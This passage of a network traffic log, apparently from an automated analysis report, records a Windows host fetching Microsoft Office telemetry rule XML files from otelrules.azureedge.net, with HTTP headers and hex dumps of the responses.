2024-11-24 07:44:16 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:16 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074416Z-15b8b599d88hr8sfhC1TEBbca4000000042g000000004at4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:16 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.10	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:18 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074419Z-178bfbc474bxkclvhC1NYC69g400000005gg00000000cee9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:19 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.10	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:19 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074419Z-178bfbc474bwh9gmhC1NYCy3rs00000005p000000000c0v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:19 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.10	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:19 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074419Z-178bfbc474bp8mkvhC1NYCzqnn00000005fg000000008mhq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:19 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.10	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:19 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074419Z-178bfbc474b9xljthC1NYCtw9400000005m0000000005dwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.10	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:19 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:19 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074419Z-174c587ffdftv9hphC1TEBm29w00000003xg00000000ph43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:19 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.10	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:21 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:21 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074421Z-178bfbc474bh5zbqhC1NYCkdug00000005mg000000005dfk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:21 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.10	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:21 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:21 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 161730be-201e-0051-3520-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074421Z-178bfbc474bvjk8shC1NYC83ns00000005m0000000001mg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.10	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:21 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:21 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1a87898e-001e-002b-2066-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074421Z-178bfbc474bscnbchC1NYCe7eg00000005tg0000000073k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.10	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:21 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:21 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: fa1269cf-b01e-003d-7592-3bd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074421Z-15b8b599d885ffrhhC1TEBtuv0000000048g000000003wrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.10	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:21 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:21 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: aaf9eac1-201e-0000-4977-3ba537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074421Z-174c587ffdfb5q56hC1TEB04kg000000041g000000009y30 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:21 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.10	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:23 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:23 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 7d97abf5-a01e-0002-5e67-3d5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074423Z-174c587ffdfdwxdvhC1TEB1c4n000000044g000000002rcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:23 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 